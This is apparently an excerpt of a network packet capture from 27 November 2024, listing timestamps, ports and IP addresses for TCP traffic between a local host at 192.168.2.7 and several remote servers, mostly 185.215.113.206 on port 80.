Nov 27, 2024 16:34:50.439654112 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.440567970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.440855026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.440926075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.441102028 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.441349983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.441601038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.441919088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.442282915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.442801952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.442801952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.443270922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.443284035 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.443331003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.443387032 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.443725109 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.444142103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.444154978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.444396973 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.444998980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.445595980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.445615053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.445736885 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.445897102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.445983887 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.446532011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.446752071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.446787119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.446921110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.447464943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.447567940 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.447738886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.447793961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.447818041 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.448111057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.448607922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.448832989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.449174881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.449176073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.449522972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.449639082 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.449676991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.450242996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.450509071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.450721979 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.450934887 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.451142073 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.451467991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.451519012 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.452385902 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.452398062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.452409983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.452441931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.452536106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.453138113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.453279018 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.453352928 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.453448057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.454057932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.454245090 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.454391003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.454510927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.455051899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.455333948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.455405951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.455598116 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.455847979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.455969095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.456101894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.456448078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.456732988 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.456830978 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.456888914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.456934929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.457693100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.457767963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.457875013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.458214998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.458602905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.458735943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.459253073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.459487915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.459501982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.459502935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.459528923 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.459837914 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.460352898 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.460491896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.460901022 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.461258888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.461400032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.461405039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.462008953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.462095022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.462366104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.495625019 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.495697975 CET	443	49843	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.496406078 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.496406078 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.496406078 CET	49843	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.498492956 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.498588085 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.499001026 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.499149084 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.499166012 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.499183893 CET	49844	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.499190092 CET	443	49844	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.500004053 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.500051975 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.500433922 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.500646114 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.500663042 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.502154112 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.502162933 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.502238989 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.502357006 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.502363920 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.620121002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.620146990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.620201111 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.620311975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.620527983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.620604992 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.620625019 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.620704889 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.621606112 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.621692896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.621728897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.621757030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.622349024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.622441053 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.622477055 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.622765064 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.623253107 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.623333931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.623411894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.623539925 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.624172926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.624236107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.624326944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.624448061 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.625045061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.625103951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.625185013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.625185013 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.625933886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.626019001 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.626034975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.626162052 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.626895905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.626961946 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.627015114 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.627187967 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.627803087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.627851963 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.627928972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.628109932 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.628854036 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.629045963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.629101992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.629101992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.629576921 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.629810095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.630048990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.630048990 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.630448103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.630625963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.630641937 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.630961895 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.631382942 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.631474972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.631510973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.631607056 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.632250071 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.632376909 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.632596016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.632678986 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.633177042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.633337975 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.633404970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.633560896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.634078026 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.634134054 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.634285927 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.634963989 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.635134935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.635350943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.635350943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.635350943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.636378050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.636447906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.637271881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.637617111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.637636900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.637666941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.637666941 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.637687922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.638698101 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.638804913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.639208078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.639208078 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.639460087 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.639513016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.639537096 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.640204906 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.640290022 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.640674114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.640683889 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.641211987 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.641311884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.641330957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.641331911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.642193079 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.642222881 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.642338037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.642441988 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.643059015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.643277884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.643346071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.643389940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.644190073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.644332886 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.644392014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.644392014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.644392014 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.645013094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.645123005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.645816088 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.646418095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.646440983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.646440983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.646440983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.646529913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.646739006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.646775961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.647083998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.647097111 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.647164106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.647164106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.647164106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.647164106 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.647655010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.647747040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.647752047 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.648415089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.648607016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.648618937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.648768902 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.649504900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.649869919 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.649982929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.649982929 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.650358915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.650408030 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.650641918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.650641918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.651290894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.651345015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.651583910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.651583910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.652205944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.652257919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.653036118 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.653094053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.653109074 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.653126001 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.653171062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.653980017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.654124975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.654687881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.654687881 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.654865980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.654927015 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.655795097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.655808926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.655961037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.656002045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.656002045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.656002045 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.656693935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.656960964 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.657438040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.657566071 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.657778978 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.657797098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.657869101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.657869101 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.658582926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.658629894 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.659326077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.659326077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.659395933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.659492970 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.660106897 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.660289049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.660494089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.660825968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.661247969 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.661258936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.662178040 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.662228107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.662228107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.662228107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.662228107 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.662451982 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.662790060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.663002014 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.663059950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.663147926 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.663898945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.664489031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.664716959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.664716959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.664716959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.664804935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.664928913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.665699959 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.666079998 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.666126966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.666126966 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.666127920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.666661024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.666671991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.667341948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.667341948 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.667515039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:50.667690992 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:50.708789110 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:50.709621906 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:50.709652901 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:50.711283922 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:50.711289883 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:50.711322069 CET	49848	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:50.711330891 CET	443	49848	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:50.755696058 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.755768061 CET	443	49846	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:50.755923986 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.756951094 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.756951094 CET	49846	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:50.756978035 CET	443	49846	13.107.246.63	192.168.2.7
